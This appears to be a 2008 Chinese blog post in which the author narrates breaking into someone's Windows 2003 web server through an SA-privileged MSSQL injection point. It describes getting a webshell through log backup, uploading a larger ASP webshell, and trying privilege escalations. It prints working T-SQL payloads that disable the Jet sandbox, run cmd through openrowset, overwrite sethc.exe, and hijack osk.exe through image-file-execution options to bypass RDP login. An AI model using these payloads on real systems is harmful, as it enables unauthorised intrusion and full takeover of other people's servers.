某日,得一SA注入点,粗略分析,windows 2003系统,支持ASP,不支持ASPX、PHP,SA不能使用xp_cmdshell,其它的一些扩展时,也都返回一个占线错误(第一次见到),用NB得到以下信息。

            

  如果MSSQL没戏的话首先第一个思路就是找后台,看看有没什么直接上传的,在数据库中找到admin表,然后找到adminname adminpass字段,得到了admin的密码,但很遗憾的是ADMIN密码没办法破解.数据库是MSSQL的,就想用updata看看能不能改密码,或新加一个用户,但都失败,不知道原因.

  即然不能进后台,看样子就只能是找网站路径,然后备份SEHLL试试,但很这个SA注入点列不了c:\ d:\ 正准备放弃时,发现能列E:\ G:\,呵呵,后来才知道c: 在system权限不给读和写,这也给以后的提权带来了很多的麻烦.最后在CCTV和党的关怀下,于G:\WEB\ROOTIIS中找到了网站目录。

           

  直接备份日志拿到了一句话的SEHLL

              

  看样子都很顺利,喜刷刷的去连接。上传大马,写入失败!看样子又是权限问题,换个目录,还是写入失败。一连试了N个目录,都是失败。心情像过山车一样降到了底点。由于天色已晚,先睡一觉。

  第二天一早,清醒一下脑子后,思路又回到那个一句话上,毕竟是一个突破点.正无聊在他主站溜狗的时候,发现他的昨天更新的新闻,附有一张图片。猛然一醒,管理员总不能BT到用管理系统写文章,再用FTP传图片吧,即然管理员能上传图片,那么这目录肯定能写!终于在g:\web\rootiis\djsite\admin\uploadfile\找到了可写的目录,顺利上传大马,呵呵,虽然也是一个很垃圾的ASP大马,但至少可以直接对数据库操作,不用依靠注入点了。

               

  进了大马后,又发现了他变态的地方了.c:\可读, e:\可读, g:\部分目录可读,至于写权限就想不要想了,全没有.扫描端口开了5631 1433 3389 43958 于是进行了默认提权程序。呵呵。5631下cif文件爆破无效,1433发现SA密码,有43958但没有21端口,希望就在1433和43958上了。但在这里,俺犯了一个愚蠢的错误,直接使用asp的serv-u执行了net.exe。结果SERV-U死掉了(serv-u 6.4的,要先加用户,然后ftp手工执行quote site exec "cmd",如果ASP里执行会挂SER-U服务,后来证明SERV-U提权也是可行的)。到这里,就只能指望这个SA权限的mssql了,试了N个执行cmd.exe的扩展后,全失败。沙盒模式失败。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0

\Engines','SandBoxMode','REG_DWORD',0;--

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32

\ias\ias.mdb','select shell("cmd /c echo 1 >c:\1.txt")')--

增加sethc.exe后门失败(c:\没有权限写)
declare @o int;exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32

\sethc.exe';

  读写注册表倒是成功了,走到这一步,一般就只剩下了通过备份日志到启动目录,等他重启,但C:\在system权限下不能写,无效写net user xxx xxx /add 到注册表启动项,等他重启,但TEST发现被主动防御了,并且net.exe被管理员删除。无效

  上传net.exe 上G:\可写目录,再加到启动项,那也要等他重启,并且还过不了杀毒软件的主动防御。

  期间,经过了四个小时的种种提权和TEST,在网上看了无数篇sa权限突破,最后都以失败告终。

  最后在浪费了俺无数个脑细胞后,独创了孤独九剑第一式。odb读写注册权限即马上拿下3389式灵感来自俺前几天中的一个网马,参见http://bbs.77169.com/read-htm-tid-220488-keyword-²Èµ½Êº.html这个马通过修改劫持注册表文件映像,达到禁止杀毒软件的目录参见http://baike.baidu.com/view/1008480.htm

  PS:映像胁持简单点就是在注册表里做点手脚,那么只要你启动文件名为aaa的EXE,就会变成执行BBB.exe。

  而且BBB.EXE可以在任何地方而写注册表,很简单,只要有odb的权限就可以了,至于要他执行。不要忘记,我们有3389是可以执行类如sethc.exe osk.exe 的程序,并且是以system权限执行的。

  费话少说,改注册表。

                     

 

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\windows

nt\currentversion\image file execution

options\osk.exe','debugger','REG_sz','g:\web\rootsite\djsite\uploadfile\nt.exe on';--

  osk.exe是屏幕键盘,在3389里用win键+u就可以调出来,而nt.exe是用ASP马上传的,作用是打开上帝模式(就是随便输入密码都可以登陆,自己去百度一下ntgodmode.exe)然后mstsc http://www.xxxx.com/用win键调出osk.exe,再用administrator,空密码直接登陆,搞定拿下服务器的图我就不发了,进去后才发现权限真的很BT,SYSTEM权限做了很多限制,cmd.exe net.exe等等,都被删。

posted on 2008-08-06 10:59  %5C  阅读(893)  评论(3编辑  收藏  举报